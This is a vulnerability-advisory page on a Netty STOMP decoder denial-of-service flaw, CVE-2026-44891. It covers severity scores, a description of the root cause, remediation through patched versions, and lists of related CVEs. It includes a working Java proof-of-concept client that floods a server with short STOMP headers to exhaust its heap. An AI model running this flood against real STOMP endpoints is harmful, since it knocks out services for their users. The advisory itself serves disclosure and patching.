Skip to main content

Netty CVE-2026-44891

| EUVDEUVD-2026-45316 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-14 https://github.com/netty/netty GHSA-vhch-2wf3-m8rp
Denial Of Service Java Red Hat Suse
7.5
CVSS 3.1 · Vendor: https://github.com/netty/netty
Share

Severity by source

Vendor (https://github.com/netty/netty) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI
7.5 HIGH

Unauthenticated remote attacker sends a single crafted STOMP frame with low complexity and no user interaction, causing memory-exhaustion DoS with availability-only impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/netty/netty).

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 14, 2026 - 21:07 vuln.today
Analysis Generated
Jul 14, 2026 - 21:07 vuln.today
CVE Published
Jul 14, 2026 - 20:16 github-advisory
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 maven packages depend on io.netty:netty-codec-stomp (3 direct, 0 indirect)

Ecosystem-wide dependent count for version 4.2.0.Alpha1.

DescriptionCVE.org

Summary

The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

Details

io.netty.handler.codec.stomp.StompSubframeDecoder implements the STOMP protocol. The maxLineLength parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., a: 1\n), which are accumulated in memory inside the DefaultStompHeadersSubframe until the JVM throws an OutOfMemoryError.

PoC

Run the server with -Xmx256m

java
public final class ServerApp {
    public static void main(String[] args) throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            ChannelFuture serverFuture = new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new StompSubframeDecoder())
                    .bind(8080)
                    .sync();
            serverFuture.channel().closeFuture().sync();
        } finally {
            group.shutdownGracefully();
        }
    }
}
java
public final class ClientApp {
    public static void main(String[] args) throws Exception {
        try (Socket socket = new Socket("127.0.0.1", 8080)) {
            OutputStream out = socket.getOutputStream();

            out.write("CONNECT\n".getBytes(StandardCharsets.UTF_8));

            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 1000; i++) {
                sb.append("a:1\n");
            }
            byte[] bulkHeaders = sb.toString().getBytes(StandardCharsets.UTF_8);

            for (int i = 1; i <= 50_000; i++) {
                out.write(bulkHeaders);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Impact

Denial of Service: An attacker can easily exhaust the server's memory by sending a single malicious STOMP message. Any server exposing a STOMP endpoint based on StompSubframeDecoder is vulnerable to DoS.

Articles & Coverage 1

News 5 New Java Vulnerabilities - 1 Critical, 4 High, 1 With POC Jul 15, 2026

AnalysisAI

Denial of service in the Netty netty-codec-stomp module (versions 4.1.x up to 4.1.135.Final and 4.2.0.Alpha1 through 4.2.15.Final) allows a remote attacker to trigger an OutOfMemoryError and crash the JVM. The StompSubframeDecoder caps individual header line length via maxLineLength but never bounds the total header count or cumulative header size, so a single STOMP frame packed with thousands of short headers exhausts heap memory. Publicly available exploit code exists (a working client/server PoC is published in the GitHub Security Advisory), but there is no public evidence of active exploitation; EPSS/KEV signals are not present in the input.

Technical ContextAI

The affected component is io.netty.handler.codec.stomp.StompSubframeDecoder, Netty's decoder for the STOMP (Simple Text Oriented Messaging Protocol) messaging protocol, distributed as the Maven artifact io.netty:netty-codec-stomp (pkg:maven/io.netty:netty-codec-stomp). As STOMP frames are parsed, each header line is length-checked against maxLineLength, but parsed headers accumulate without limit inside a DefaultStompHeadersSubframe object. The root cause is CWE-400 (Uncontrolled Resource Consumption): there is no ceiling on the number of headers or their aggregate memory footprint per frame, so attacker-controlled input directly drives unbounded heap allocation. Netty is a high-performance asynchronous network application framework used as the transport layer in a very large number of JVM applications, though the STOMP codec specifically is an optional module used only where a STOMP endpoint is exposed.

RemediationAI

Vendor-released patch: upgrade to 4.2.16.Final on the 4.2 branch, or to 4.1.136.Final on the 4.1 branch, per the Netty advisory GHSA-vhch-2wf3-m8rp (https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp). Because Netty is usually a transitive dependency, verify the resolved version of io.netty:netty-codec-stomp in your build and force the fixed version if a framework pins an older one. If immediate patching is not possible, restrict network exposure of the STOMP endpoint (bind to trusted networks only, place it behind an authenticating gateway or firewall rules) to reduce the unauthenticated attack surface, and enforce a JVM heap and connection read-limit posture so a single connection cannot allocate unbounded memory - noting that these controls reduce but do not eliminate the OOM risk and may not stop an authorized-but-malicious client. Front-proxy request/header-size limits generally will not help because STOMP is not HTTP and the flood occurs inside the STOMP frame parser.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Same weakness CWE-400 – Uncontrolled Resource Consumption

View all
CVE-2023-44487 HIGH POC
7.5
CVE-2026-45498 HIGH POC
7.5
CVE-2016-8610 HIGH
7.5
CVE-2026-28318 HIGH POC
7.5
CVE-2023-38180 HIGH
7.5
CVE-2025-26673 HIGH
7.5
CVE-2015-7978 HIGH
7.5
CVE-2025-27473 HIGH
7.5

Same technique Denial Of Service

View all
CVE-2015-5119 CRITICAL POC
9.8
CVE-2011-2462 CRITICAL POC
9.8
CVE-2011-0611 HIGH POC
8.8
CVE-2012-1889 HIGH POC
8.8
CVE-2012-0507 CRITICAL POC
9.8
CVE-2014-1761 HIGH POC
7.8
CVE-2015-5122 CRITICAL POC
9.8
CVE-2011-0609 HIGH POC
7.8

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Development Tools 15 SP7 Not-Affected

Share

CVE-2026-44891 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy